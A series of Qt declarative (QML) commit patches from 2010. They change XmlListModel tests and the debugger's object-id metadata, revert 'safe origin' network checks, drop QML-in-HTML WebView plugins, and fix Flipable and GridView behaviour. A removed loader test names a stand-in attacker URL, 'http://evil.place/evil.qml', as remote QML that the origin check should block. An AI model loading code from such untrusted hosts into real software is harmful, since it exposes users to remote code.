m3->roles()[1]).toString(), QString("3" + QString::number(i))); + QCOMPARE(m3->data(i, m3->roles()[2]).toString(), QString("Curling")); + } + } + + delete m1; + delete m2; + delete m3; +} + +void tst_qdeclarativexmllistmodel::threading_data() +{ + QTest::addColumn("xmlDataCount"); + + QTest::newRow("1") << 1; + QTest::newRow("2") << 2; + QTest::newRow("10") << 10; +} + void tst_qdeclarativexmllistmodel::propertyChanges() { QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/propertychanges.qml")); @@ -554,6 +615,8 @@ void tst_qdeclarativexmllistmodel::propertyChanges() QCOMPARE(model->query(), QString("/Pets")); QCOMPARE(model->namespaceDeclarations(), QString("declare namespace media=\"http://search.yahoo.com/mrss/\";")); + QTRY_VERIFY(model->count() == 1); + QCOMPARE(sourceSpy.count(),1); QCOMPARE(xmlSpy.count(),1); QCOMPARE(modelQuerySpy.count(),1); @@ -568,6 +631,9 @@ void tst_qdeclarativexmllistmodel::propertyChanges() QCOMPARE(xmlSpy.count(),1); QCOMPARE(modelQuerySpy.count(),1); QCOMPARE(namespaceDeclarationsSpy.count(),1); + + QTRY_VERIFY(model->count() == 1); + delete model; } QTEST_MAIN(tst_qdeclarativexmllistmodel) -- cgit v0.12 From 929488ba788549a9b38c1ab3784307b575a537a5 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Wed, 24 Mar 2010 13:32:37 +1000 Subject: Add object ids to the metadata provided in debugger classes. --- src/declarative/debugger/qdeclarativedebug.cpp | 14 ++++++++++---- src/declarative/debugger/qdeclarativedebug_p.h | 2 ++ src/declarative/qml/qdeclarativecontext.cpp | 15 +++++++++++++++ src/declarative/qml/qdeclarativecontext_p.h | 2 ++ src/declarative/qml/qdeclarativeenginedebug.cpp | 15 +++++++++++---- src/declarative/qml/qdeclarativeenginedebug_p.h | 1 + src/declarative/qml/qdeclarativeintegercache.cpp | 10 ++++++++++ src/declarative/qml/qdeclarativeintegercache_p.h | 1 + 8 files changed, 52 insertions(+), 8 deletions(-) diff --git a/src/declarative/debugger/qdeclarativedebug.cpp b/src/declarative/debugger/qdeclarativedebug.cpp index e4b7d4d..677d05f 100644 --- a/src/declarative/debugger/qdeclarativedebug.cpp +++ b/src/declarative/debugger/qdeclarativedebug.cpp @@ -151,6 +151,7 @@ void QDeclarativeEngineDebugPrivate::decode(QDataStream &ds, QDeclarativeDebugOb ds >> data; o.m_debugId = data.objectId; o.m_class = data.objectType; + o.m_idString = data.idString; o.m_name = data.objectName; o.m_source.m_url = data.url; o.m_source.m_lineNumber = data.lineNumber; @@ -750,8 +751,8 @@ QDeclarativeDebugObjectReference::QDeclarativeDebugObjectReference(int debugId) } QDeclarativeDebugObjectReference::QDeclarativeDebugObjectReference(const QDeclarativeDebugObjectReference &o) -: m_debugId(o.m_debugId), m_class(o.m_class), m_name(o.m_name), - m_source(o.m_source), m_contextDebugId(o.m_contextDebugId), +: m_debugId(o.m_debugId), m_class(o.m_class), m_idString(o.m_idString), + m_name(o.m_name), m_source(o.m_source), m_contextDebugId(o.m_contextDebugId), m_properties(o.m_properties), m_children(o.m_children) { } @@ -759,8 +760,8 @@ QDeclarativeDebugObjectReference::QDeclarativeDebugObjectReference(const QDeclar QDeclarativeDebugObjectReference & QDeclarativeDebugObjectReference::operator=(const QDeclarativeDebugObjectReference &o) { - m_debugId = o.m_debugId; m_class = o.m_class; m_name = o.m_name; - m_source = o.m_source; m_contextDebugId = o.m_contextDebugId; + m_debugId = o.m_debugId; m_class = o.m_class; m_idString = o.m_idString; + m_name = o.m_name; m_source = o.m_source; m_contextDebugId = o.m_contextDebugId; m_properties = o.m_properties; m_children = o.m_children; return *this; } @@ -775,6 +776,11 @@ QString QDeclarativeDebugObjectReference::className() const return m_class; } +QString QDeclarativeDebugObjectReference::idString() const +{ + return m_idString; +} + QString QDeclarativeDebugObjectReference::name() const { return m_name; diff --git a/src/declarative/debugger/qdeclarativedebug_p.h b/src/declarative/debugger/qdeclarativedebug_p.h index f0c7a77..4ead232 100644 --- a/src/declarative/debugger/qdeclarativedebug_p.h +++ b/src/declarative/debugger/qdeclarativedebug_p.h @@ -230,6 +230,7 @@ public: int debugId() const; QString className() const; + QString idString() const; QString name() const; QDeclarativeDebugFileReference source() const; @@ -242,6 +243,7 @@ private: friend class QDeclarativeEngineDebugPrivate; int m_debugId; QString m_class; + QString m_idString; QString m_name; QDeclarativeDebugFileReference m_source; int m_contextDebugId; diff --git a/src/declarative/qml/qdeclarativecontext.cpp b/src/declarative/qml/qdeclarativecontext.cpp index f801a88..1236923 100644 --- a/src/declarative/qml/qdeclarativecontext.cpp +++ b/src/declarative/qml/qdeclarativecontext.cpp @@ -730,6 +730,21 @@ void QDeclarativeContextData::setIdPropertyData(QDeclarativeIntegerCache *data) idValues = new ContextGuard[idValueCount]; } +QString QDeclarativeContextData::findObjectId(const QObject *obj) const +{ + if (!idValues || !propertyNames) + return QString(); + + for (int i=0; ifindId(i); + } + + if (linkedContext) + return linkedContext->findObjectId(obj); + return QString(); +} + QDeclarativeContext *QDeclarativeContextData::asQDeclarativeContext() { if (!publicContext) diff --git a/src/declarative/qml/qdeclarativecontext_p.h b/src/declarative/qml/qdeclarativecontext_p.h index f07045e..e5f18b3 100644 --- a/src/declarative/qml/qdeclarativecontext_p.h +++ b/src/declarative/qml/qdeclarativecontext_p.h @@ -190,6 +190,8 @@ public: // Linked contexts. this owns linkedContext. QDeclarativeContextData *linkedContext; + QString findObjectId(const QObject *obj) const; + static QDeclarativeContextData *get(QDeclarativeContext *context) { return QDeclarativeContextPrivate::get(context)->data; } diff --git a/src/declarative/qml/qdeclarativeenginedebug.cpp b/src/declarative/qml/qdeclarativeenginedebug.cpp index a377b35..d30aa8e 100644 --- a/src/declarative/qml/qdeclarativeenginedebug.cpp +++ b/src/declarative/qml/qdeclarativeenginedebug.cpp @@ -68,16 +68,16 @@ QDeclarativeEngineDebugServer::QDeclarativeEngineDebugServer(QObject *parent) QDataStream &operator<<(QDataStream &ds, const QDeclarativeEngineDebugServer::QDeclarativeObjectData &data) { - ds << data.url << data.lineNumber << data.columnNumber << data.objectName - << data.objectType << data.objectId << data.contextId; + ds << data.url << data.lineNumber << data.columnNumber << data.idString + << data.objectName << data.objectType << data.objectId << data.contextId; return ds; } QDataStream &operator>>(QDataStream &ds, QDeclarativeEngineDebugServer::QDeclarativeObjectData &data) { - ds >> data.url >> data.lineNumber >> data.columnNumber >> data.objectName - >> data.objectType >> data.objectId >> data.contextId; + ds >> data.url >> data.lineNumber >> data.columnNumber >> data.idString + >> data.objectName >> data.objectType >> data.objectId >> data.contextId; return ds; } @@ -275,6 +275,13 @@ QDeclarativeEngineDebugServer::objectData(QObject *object) rv.columnNumber = -1; } + QDeclarativeContext *context = qmlContext(object); + if (context) { + QDeclarativeContextData *cdata = QDeclarativeContextData::get(context); + if (cdata) + rv.idString = cdata->findObjectId(object); + } + rv.objectName = object->objectName(); rv.objectId = QDeclarativeDebugService::idForObject(object); rv.contextId = QDeclarativeDebugService::idForObject(qmlContext(object)); diff --git a/src/declarative/qml/qdeclarativeenginedebug_p.h b/src/declarative/qml/qdeclarativeenginedebug_p.h index a95449b..9491411 100644 --- a/src/declarative/qml/qdeclarativeenginedebug_p.h +++ b/src/declarative/qml/qdeclarativeenginedebug_p.h @@ -75,6 +75,7 @@ public: QUrl url; int lineNumber; int columnNumber; + QString idString; QString objectName; QString objectType; int objectId; diff --git a/src/declarative/qml/qdeclarativeintegercache.cpp b/src/declarative/qml/qdeclarativeintegercache.cpp index 8fa210f..be36471 100644 --- a/src/declarative/qml/qdeclarativeintegercache.cpp +++ b/src/declarative/qml/qdeclarativeintegercache.cpp @@ -64,6 +64,16 @@ void QDeclarativeIntegerCache::clear() engine = 0; } +QString QDeclarativeIntegerCache::findId(int value) const +{ + for (StringCache::ConstIterator iter = stringCache.begin(); + iter != stringCache.end(); ++iter) { + if (iter.value() && iter.value()->value == value) + return iter.key(); + } + return QString(); +} + void QDeclarativeIntegerCache::add(const QString &id, int value) { Q_ASSERT(!stringCache.contains(id)); diff --git a/src/declarative/qml/qdeclarativeintegercache_p.h b/src/declarative/qml/qdeclarativeintegercache_p.h index b57565e..5fb5a76 100644 --- a/src/declarative/qml/qdeclarativeintegercache_p.h +++ b/src/declarative/qml/qdeclarativeintegercache_p.h @@ -73,6 +73,7 @@ public: inline int count() const; void add(const QString &, int); int value(const QString &); + QString findId(int value) const; inline int value(const QScriptDeclarativeClass::Identifier &id) const; protected: -- cgit v0.12 From 562ff1d1fcb726932aa4483655aa0d4c6a9746f2 Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Wed, 24 Mar 2010 14:07:26 +1000 Subject: Revert 95aa8c8fc76e2309a629b05994a2677b0887140b. --- .../graphicsitems/qdeclarativeloader.cpp | 5 --- .../qml/qdeclarativecompositetypemanager.cpp | 13 ------- src/declarative/qml/qdeclarativecontext.cpp | 6 --- src/declarative/qml/qdeclarativecontext.h | 2 - src/declarative/qml/qdeclarativeengine.cpp | 27 -------------- src/declarative/qml/qdeclarativeengine.h | 2 - .../tst_qdeclarativelanguage.cpp | 43 +--------------------- .../qdeclarativeloader/tst_qdeclarativeloader.cpp | 37 ------------------- 8 files changed, 1 insertion(+), 134 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativeloader.cpp b/src/declarative/graphicsitems/qdeclarativeloader.cpp index c06b006..0d62afa 100644 --- a/src/declarative/graphicsitems/qdeclarativeloader.cpp +++ b/src/declarative/graphicsitems/qdeclarativeloader.cpp @@ -187,11 +187,6 @@ void QDeclarativeLoader::setSource(const QUrl &url) if (d->source == url) return; - if (!qmlContext(this)->isSafeOrigin(url)) { - qmlInfo(this) << tr("\"%1\" is not a safe origin from \"%2\"").arg(url.toString()).arg(qmlContext(this)->baseUrl().toString()); - return; - } - d->clear(); d->source = url; diff --git a/src/declarative/qml/qdeclarativecompositetypemanager.cpp b/src/declarative/qml/qdeclarativecompositetypemanager.cpp index 5160514..c59e5e2 100644 --- a/src/declarative/qml/qdeclarativecompositetypemanager.cpp +++ b/src/declarative/qml/qdeclarativecompositetypemanager.cpp @@ -539,19 +539,6 @@ int QDeclarativeCompositeTypeManager::resolveTypes(QDeclarativeCompositeTypeData foreach (QDeclarativeScriptParser::Import imp, unit->data.imports()) { - if (imp.type != QDeclarativeScriptParser::Import::Library && !engine->isSafeOrigin(QUrl(imp.uri), unit->imports.baseUrl())) { - QDeclarativeError error; - error.setUrl(unit->imports.baseUrl()); - error.setDescription(tr("\"%1\" is not a safe origin").arg(imp.uri)); - error.setLine(imp.location.start.line); - error.setColumn(imp.location.start.column); - unit->status = QDeclarativeCompositeTypeData::Error; - unit->errorType = QDeclarativeCompositeTypeData::GeneralError; - unit->errors << error; - doComplete(unit); - return 0; - } - QDeclarativeDirComponents qmldircomponentsnetwork; if (imp.type == QDeclarativeScriptParser::Import::Script) continue; diff --git a/src/declarative/qml/qdeclarativecontext.cpp b/src/declarative/qml/qdeclarativecontext.cpp index f801a88..85896c4 100644 --- a/src/declarative/qml/qdeclarativecontext.cpp +++ b/src/declarative/qml/qdeclarativecontext.cpp @@ -361,12 +361,6 @@ QVariant QDeclarativeContext::contextProperty(const QString &name) const return value; } -bool QDeclarativeContext::isSafeOrigin(const QUrl &src) const -{ - Q_D(const QDeclarativeContext); - return !d->data->engine || d->data->engine->isSafeOrigin(src, baseUrl()); -} - /*! Resolves the URL \a src relative to the URL of the containing component. diff --git a/src/declarative/qml/qdeclarativecontext.h b/src/declarative/qml/qdeclarativecontext.h index 959af8b..a349628 100644 --- a/src/declarative/qml/qdeclarativecontext.h +++ b/src/declarative/qml/qdeclarativecontext.h @@ -85,8 +85,6 @@ public: void setBaseUrl(const QUrl &); QUrl baseUrl() const; - bool isSafeOrigin(const QUrl &src) const; - private: friend class QDeclarativeVME; friend class QDeclarativeEngine; diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index d7f30d7..d4872e2 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -1883,33 +1883,6 @@ QString QDeclarativeEngine::offlineStoragePath() const } /*! - Returns whether \a to_url is considered safe content when reference by - content at \a from_url. - - The default implementation implements: - - \list - \i Relative URLs are safe - \i https content is safe - \i URLs from the same host and port are safe (including no-host) - \endlist - - You should consider whether this convention is adequate for your pareticular application. -*/ -bool QDeclarativeEngine::isSafeOrigin(const QUrl& to_url, const QUrl& from_url) const -{ - if (to_url.isRelative()) - return true; - if (to_url.scheme()==QLatin1String("https")) - return true; - - if (to_url.host() == from_url.host() && to_url.port() == from_url.port()) // including files (with no host) - return true; - - return false; -} - -/*! \internal Returns the result of the merge of \a baseName with \a dir, \a suffixes, and \a prefix. diff --git a/src/declarative/qml/qdeclarativeengine.h b/src/declarative/qml/qdeclarativeengine.h index 5c70b18..19e81b6 100644 --- a/src/declarative/qml/qdeclarativeengine.h +++ b/src/declarative/qml/qdeclarativeengine.h @@ -102,8 +102,6 @@ public: static void setObjectOwnership(QObject *, ObjectOwnership); static ObjectOwnership objectOwnership(QObject *); - virtual bool isSafeOrigin(const QUrl& to_url, const QUrl& from_url) const; - Q_SIGNALS: void quit (); diff --git a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp index b6bd3f8..72b6b28 100644 --- a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp +++ b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp @@ -53,19 +53,6 @@ #include "../../../shared/util.h" -class SafeLocalhostDeclarativeEngine : public QDeclarativeEngine { -public: - SafeLocalhostDeclarativeEngine() : QDeclarativeEngine() {} - - virtual bool isSafeOrigin(const QUrl& to_url, const QUrl& from_url) const - { - if (to_url.host() == "127.0.0.1") - return true; - else - return QDeclarativeEngine::isSafeOrigin(to_url,from_url); - } -}; - /* This test case covers QML language issues. This covers everything that does not involve evaluating ECMAScript expressions and bindings. @@ -134,7 +121,6 @@ private slots: void importsLocal(); void importsRemote_data(); void importsRemote(); - void importsUnsafe(); void importsInstalled_data(); void importsInstalled(); void importsOrder_data(); @@ -149,7 +135,7 @@ private slots: void crash2(); private: - SafeLocalhostDeclarativeEngine engine; + QDeclarativeEngine engine; void testType(const QString& qml, const QString& type); }; @@ -1276,33 +1262,6 @@ void tst_qdeclarativelanguage::importsRemote() testType(qml,type); } -void tst_qdeclarativelanguage::importsUnsafe() -{ - TestHTTPServer server(14445); - server.serveDirectory(SRCDIR); - - QString qml = "import \"http://127.0.0.1:14445/qtest/declarative/qmllanguage\"\n\nTest {}"; - - { - QDeclarativeEngine engine; // plain engine without special localhost handling - QDeclarativeComponent component(&engine); - component.setData(qml.toUtf8(), TEST_FILE("empty.qml")); // just a file for relative local imports - - QTRY_VERIFY(!component.isLoading()); - - QVERIFY(component.isError()); - } - - { - QDeclarativeComponent component(&engine); // engine special localhost handling - component.setData(qml.toUtf8(), TEST_FILE("empty.qml")); // just a file for relative local imports - - QTRY_VERIFY(!component.isLoading()); - - QVERIFY(!component.isError()); - } -} - void tst_qdeclarativelanguage::importsInstalled_data() { // QT-610 diff --git a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp index 506e1ee..c3be943 100644 --- a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp +++ b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp @@ -86,8 +86,6 @@ private slots: void noResizeGraphicsWidget(); void networkRequestUrl(); void failNetworkRequest(); - void networkSafety(); - void networkSafety_data(); // void networkComponent(); void deleteComponentCrash(); @@ -508,41 +506,6 @@ void tst_QDeclarativeLoader::vmeErrors() delete loader; } -void tst_QDeclarativeLoader::networkSafety_data() -{ - QTest::addColumn("url"); - QTest::addColumn("message"); - - QTest::newRow("same origin") << QUrl("http://127.0.0.1:14445/sameorigin.qml") << QString(); - QTest::newRow("different origin") << QUrl("http://127.0.0.1:14445/differentorigin.qml") << QString("QML Loader (http://127.0.0.1:14445/differentorigin.qml:3:1) \"http://evil.place/evil.qml\" is not a safe origin from \"http://127.0.0.1:14445/differentorigin.qml\""); -} - -void tst_QDeclarativeLoader::networkSafety() -{ - TestHTTPServer server(SERVER_PORT); - QVERIFY(server.isValid()); - server.serveDirectory(SRCDIR "/data"); - - QFETCH(QUrl, url); - QFETCH(QString, message); - - if (!message.isEmpty()) - QTest::ignoreMessage(QtWarningMsg, message.toLatin1()); - - QDeclarativeComponent component(&engine, url); - TRY_WAIT(component.status() == QDeclarativeComponent::Ready); - QDeclarativeLoader *loader = qobject_cast(component.create()); - QVERIFY(loader != 0); - - if (message.isEmpty()) { - TRY_WAIT(loader->status() == QDeclarativeLoader::Ready); - } else { - TRY_WAIT(loader->status() == QDeclarativeLoader::Null); - } - - delete loader; -} - QTEST_MAIN(tst_QDeclarativeLoader) #include "tst_qdeclarativeloader.moc" -- cgit v0.12 From c78af170f439d981f85f46f60290161903159b10 Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Wed, 24 Mar 2010 14:12:43 +1000 Subject: Remove support for QML-in-HTML-in-WebView Currently, this feature too prone to accidental misuse and abuse. --- examples/declarative/webview/evalandattach.html | 31 -------- examples/declarative/webview/evalandattach.qml | 55 -------------- .../declarative/webview/qdeclarative-in-html.qml | 33 -------- src/imports/webkit/qdeclarativewebview.cpp | 87 ---------------------- src/imports/webkit/qdeclarativewebview_p.h | 1 - 5 files changed, 207 deletions(-) delete mode 100644 examples/declarative/webview/evalandattach.html delete mode 100644 examples/declarative/webview/evalandattach.qml delete mode 100644 examples/declarative/webview/qdeclarative-in-html.qml diff --git a/examples/declarative/webview/evalandattach.html b/examples/declarative/webview/evalandattach.html deleted file mode 100644 index 48a1c33..0000000 --- a/examples/declarative/webview/evalandattach.html +++ /dev/null @@ -1,31 +0,0 @@ - - - - - - - - - - - - - - -
 
- -
-

- Below a qml(QFxItem) object inside webkit: -

- - - - diff --git a/examples/declarative/webview/evalandattach.qml b/examples/declarative/webview/evalandattach.qml deleted file mode 100644 index d219d84..0000000 --- a/examples/declarative/webview/evalandattach.qml +++ /dev/null @@ -1,55 +0,0 @@ -import Qt 4.6 -import org.webkit 1.0 - -Item { - height: 640 - width: 360 - Text { - id: teksti - text: webView.statusText1 - anchors.top: parent.top - height: 30 - anchors.left: parent.left - width: parent.width/2 - } - - Text { - id: teksti2 - text: webView.statusText2 - anchors.top: parent.top - height: 30 - anchors.left: teksti.right - anchors.right: parent.right - } - - MouseArea { - anchors.fill: teksti - onClicked: { webView.evaluateJavaScript ("do_it()") } - } - - WebView { - id: webView - property alias statusText1: txt.text - property alias statusText2: txt2.text - anchors.top: teksti.bottom - anchors.bottom: parent.bottom - anchors.left: parent.left - anchors.right: parent.right - focus: true - settings.pluginsEnabled: true - javaScriptWindowObjects: [ - QtObject { - id: txt - WebView.windowObjectName: "statusText1" - property string text: "Click me!" - }, - QtObject { - id: txt2 - WebView.windowObjectName: "statusText2" - property string text: "" - } - ] - url: "evalandattach.html" - } - -} diff --git a/examples/declarative/webview/qdeclarative-in-html.qml b/examples/declarative/webview/qdeclarative-in-html.qml deleted file mode 100644 index 172ea4b..0000000 --- a/examples/declarative/webview/qdeclarative-in-html.qml +++ /dev/null @@ -1,33 +0,0 @@ -import Qt 4.6 -import org.webkit 1.0 - -// The WebView supports QML data through the HTML OBJECT tag -Rectangle { - color:"blue" - Flickable { - width: parent.width - height: parent.height/2 - contentWidth: web.width*web.scale - contentHeight: web.height*web.scale - WebView { - id: web - width: 250 - height: 420 - zoomFactor: 0.75 - smoothCache: true - settings.pluginsEnabled: true - html: "\ - \ - These are QML plugins, shown in a QML WebView via HTML OBJECT tags, all scaled to 75%\ - and placed in a Flickable area...\ - \ -
Duration Color Plugin\ -
500 red \ -
2000 blue \ -
1000 green \ -
\ - \ - " - } - } -} diff --git a/src/imports/webkit/qdeclarativewebview.cpp b/src/imports/webkit/qdeclarativewebview.cpp index f8b2b88..0b85ae4 100644 --- a/src/imports/webkit/qdeclarativewebview.cpp +++ b/src/imports/webkit/qdeclarativewebview.cpp @@ -1239,96 +1239,11 @@ bool QDeclarativeWebPage::javaScriptPrompt(QWebFrame *originatingFrame, const QS } -/* - Qt WebKit does not understand non-QWidget plugins, so dummy widgets - are created, parented to a single dummy tool window. - - The requirements for QML object plugins are input to the Qt WebKit - non-QWidget plugin support, which will obsolete this kludge. -*/ -class QWidget_Dummy_Plugin : public QWidget -{ - Q_OBJECT -public: - static QWidget *dummy_shared_parent() - { - static QWidget *dsp = 0; - if (!dsp) { - dsp = new QWidget(0,Qt::Tool); - dsp->setGeometry(-10000,-10000,0,0); - dsp->show(); - } - return dsp; - } - QWidget_Dummy_Plugin(const QUrl& url, QDeclarativeWebView *view, const QStringList ¶mNames, const QStringList ¶mValues) : - QWidget(dummy_shared_parent()), - propertyNames(paramNames), - propertyValues(paramValues), - webview(view) - { - QDeclarativeEngine *engine = qmlEngine(webview); - component = new QDeclarativeComponent(engine, url, this); - item = 0; - if (component->isLoading()) - connect(component, SIGNAL(statusChanged(QDeclarativeComponent::Status)), this, SLOT(qmlLoaded())); - else - qmlLoaded(); - } - -public Q_SLOTS: - void qmlLoaded() - { - if (component->isError()) { - // ### Could instead give these errors to the WebView to handle. - qWarning() << component->errors(); - return; - } - item = qobject_cast(component->create(qmlContext(webview))); - item->setParent(webview); - QString jsObjName; - for (int i=0; isetProperty(propertyNames[i].toUtf8(),propertyValues[i]); - if (propertyNames[i] == QLatin1String("objectname")) - jsObjName = propertyValues[i]; - } - } - if (!jsObjName.isNull()) { - QWebFrame *f = webview->page()->mainFrame(); - f->addToJavaScriptWindowObject(jsObjName, item); - } - resizeEvent(0); - delete component; - component = 0; - } - void resizeEvent(QResizeEvent*) - { - if (item) { - item->setX(x()); - item->setY(y()); - item->setWidth(width()); - item->setHeight(height()); - } - } - -private: - QDeclarativeComponent *component; - QDeclarativeItem *item; - QStringList propertyNames, propertyValues; - QDeclarativeWebView *webview; -}; - QDeclarativeWebView *QDeclarativeWebPage::viewItem() { return static_cast(parent()); } -QObject *QDeclarativeWebPage::createPlugin(const QString &, const QUrl &url, const QStringList ¶mNames, const QStringList ¶mValues) -{ - QUrl comp = qmlContext(viewItem())->resolvedUrl(url); - return new QWidget_Dummy_Plugin(comp,viewItem(),paramNames,paramValues); -} - QWebPage *QDeclarativeWebPage::createWindow(WebWindowType type) { QDeclarativeWebView *newView = viewItem()->createWindow(type); @@ -1338,5 +1253,3 @@ QWebPage *QDeclarativeWebPage::createWindow(WebWindowType type) } QT_END_NAMESPACE - -#include diff --git a/src/imports/webkit/qdeclarativewebview_p.h b/src/imports/webkit/qdeclarativewebview_p.h index 36b18a6..81581d8 100644 --- a/src/imports/webkit/qdeclarativewebview_p.h +++ b/src/imports/webkit/qdeclarativewebview_p.h @@ -69,7 +69,6 @@ public: explicit QDeclarativeWebPage(QDeclarativeWebView *parent); ~QDeclarativeWebPage(); protected: - QObject *createPlugin(const QString &classid, const QUrl &url, const QStringList ¶mNames, const QStringList ¶mValues); QWebPage *createWindow(WebWindowType type); void javaScriptConsoleMessage(const QString& message, int lineNumber, const QString& sourceID); QString chooseFile(QWebFrame *originatingFrame, const QString& oldFile); -- cgit v0.12 From f59619a3a4de074d0557ce17f9580a242e4e6c16 Mon Sep 17 00:00:00 2001 From: Leonardo Sobral Cunha Date: Wed, 24 Mar 2010 15:20:16 +1000 Subject: Fix abort in flipable Flipable was calling updateSceneTransformFromParent, but this can only called when the the parent's scene transform is guaranteed to be updated, which is not the case in flipable. Task-number: QTBUG-8474 Reviewed-by: bnilsen --- src/declarative/graphicsitems/qdeclarativeflipable.cpp | 2 +- .../qdeclarativeflipable/tst_qdeclarativeflipable.cpp | 15 +++++++++++++-- 2 files changed, 14 insertions(+), 3 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativeflipable.cpp b/src/declarative/graphicsitems/qdeclarativeflipable.cpp index 8b46039..0e2ae63 100644 --- a/src/declarative/graphicsitems/qdeclarativeflipable.cpp +++ b/src/declarative/graphicsitems/qdeclarativeflipable.cpp @@ -160,7 +160,7 @@ QDeclarativeFlipable::Side QDeclarativeFlipable::side() const { Q_D(const QDeclarativeFlipable); if (d->dirtySceneTransform) - const_cast(d)->updateSceneTransformFromParent(); + const_cast(d)->ensureSceneTransform(); return d->current; } diff --git a/tests/auto/declarative/qdeclarativeflipable/tst_qdeclarativeflipable.cpp b/tests/auto/declarative/qdeclarativeflipable/tst_qdeclarativeflipable.cpp index 04c6710..4beee9a 100644 --- a/tests/auto/declarative/qdeclarativeflipable/tst_qdeclarativeflipable.cpp +++ b/tests/auto/declarative/qdeclarativeflipable/tst_qdeclarativeflipable.cpp @@ -58,7 +58,10 @@ private slots: void create(); void checkFrontAndBack(); void setFrontAndBack(); - void crash(); + + // below here task issues + void QTBUG_9161_crash(); + void QTBUG_8474_qgv_abort(); private: QDeclarativeEngine engine; @@ -110,7 +113,7 @@ void tst_qdeclarativeflipable::setFrontAndBack() delete obj; } -void tst_qdeclarativeflipable::crash() +void tst_qdeclarativeflipable::QTBUG_9161_crash() { QDeclarativeView *canvas = new QDeclarativeView; canvas->setSource(QUrl(SRCDIR "/data/crash.qml")); @@ -118,6 +121,14 @@ void tst_qdeclarativeflipable::crash() delete canvas; } +void tst_qdeclarativeflipable::QTBUG_8474_qgv_abort() +{ + QDeclarativeView *canvas = new QDeclarativeView; + canvas->setSource(QUrl(SRCDIR "/data/flipable-abort.qml")); + canvas->show(); + delete canvas; +} + QTEST_MAIN(tst_qdeclarativeflipable) #include "tst_qdeclarativeflipable.moc" -- cgit v0.12 From 1e03f391889d90a25847add3a42b1debda4f3edb Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Wed, 24 Mar 2010 15:33:50 +1000 Subject: Fix flicking views at boundary with StricthighlighRange Task-number: QTBUG-9256 --- .../graphicsitems/qdeclarativegridview.cpp | 43 +++++++++++++--------- .../graphicsitems/qdeclarativelistview.cpp | 43 ++++++++++++---------- .../qdeclarativegridview/data/setindex.qml | 10 ++--- 3 files changed, 52 insertions(+), 44 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativegridview.cpp b/src/declarative/graphicsitems/qdeclarativegridview.cpp index 93f8d06..afea4ea 100644 --- a/src/declarative/graphicsitems/qdeclarativegridview.cpp +++ b/src/declarative/graphicsitems/qdeclarativegridview.cpp @@ -786,28 +786,32 @@ void QDeclarativeGridViewPrivate::flick(AxisData &data, qreal minExtent, qreal m QDeclarativeFlickablePrivate::flick(data, minExtent, maxExtent, vSize, fixupCallback, velocity); return; } - qreal maxDistance = -1; + qreal maxDistance = 0; // -ve velocity means list is moving up if (velocity > 0) { - if (snapMode == QDeclarativeGridView::SnapOneRow) { - if (FxGridItem *item = firstVisibleItem()) - maxDistance = qAbs(item->rowPos() + data.move.value()); - } else if (data.move.value() < minExtent) { - maxDistance = qAbs(minExtent - data.move.value()); + if (data.move.value() < minExtent) { + if (snapMode == QDeclarativeGridView::SnapOneRow) { + if (FxGridItem *item = firstVisibleItem()) + maxDistance = qAbs(item->rowPos() + data.move.value()); + } else { + maxDistance = qAbs(minExtent - data.move.value()); + } } if (snapMode != QDeclarativeGridView::SnapToRow && highlightRange != QDeclarativeGridView::StrictlyEnforceRange) data.flickTarget = minExtent; } else { - if (snapMode == QDeclarativeGridView::SnapOneRow) { - qreal pos = snapPosAt(-data.move.value()) + rowSize(); - maxDistance = qAbs(pos + data.move.value()); - } else if (data.move.value() > maxExtent) { - maxDistance = qAbs(maxExtent - data.move.value()); + if (data.move.value() > maxExtent) { + if (snapMode == QDeclarativeGridView::SnapOneRow) { + qreal pos = snapPosAt(-data.move.value()) + rowSize(); + maxDistance = qAbs(pos + data.move.value()); + } else { + maxDistance = qAbs(maxExtent - data.move.value()); + } } if (snapMode != QDeclarativeGridView::SnapToRow && highlightRange != QDeclarativeGridView::StrictlyEnforceRange) data.flickTarget = maxExtent; } - if (maxDistance > 0 && (snapMode != QDeclarativeGridView::NoSnap || highlightRange == QDeclarativeGridView::StrictlyEnforceRange)) { + if ((maxDistance > 0 || overShoot) && (snapMode != QDeclarativeGridView::NoSnap || highlightRange == QDeclarativeGridView::StrictlyEnforceRange)) { // This mode requires the grid to stop exactly on a row boundary. qreal v = velocity; if (maxVelocity != -1 && maxVelocity < qAbs(v)) { @@ -818,9 +822,8 @@ void QDeclarativeGridViewPrivate::flick(AxisData &data, qreal minExtent, qreal m } qreal accel = deceleration; qreal v2 = v * v; - qreal maxAccel = v2 / (2.0f * maxDistance); qreal overshootDist = 0.0; - if (maxAccel < accel) { + if (maxDistance > 0.0 && v2 / (2.0f * maxDistance) < accel) { // + rowSize()/4 to encourage moving at least one item in the flick direction qreal dist = v2 / (accel * 2.0) + rowSize()/4; if (v > 0) @@ -1504,10 +1507,12 @@ qreal QDeclarativeGridView::maxYExtent() const if (d->flow == QDeclarativeGridView::TopToBottom) return QDeclarativeFlickable::maxYExtent(); qreal extent; - if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) + if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) { extent = -(d->endPosition() - d->highlightRangeEnd); - else + extent = qMax(extent, -(d->rowPosAt(d->model->count()-1) - d->highlightRangeStart)); + } else { extent = -(d->endPosition() - height()); + } const qreal minY = minYExtent(); if (extent > minY) extent = minY; @@ -1531,10 +1536,12 @@ qreal QDeclarativeGridView::maxXExtent() const if (d->flow == 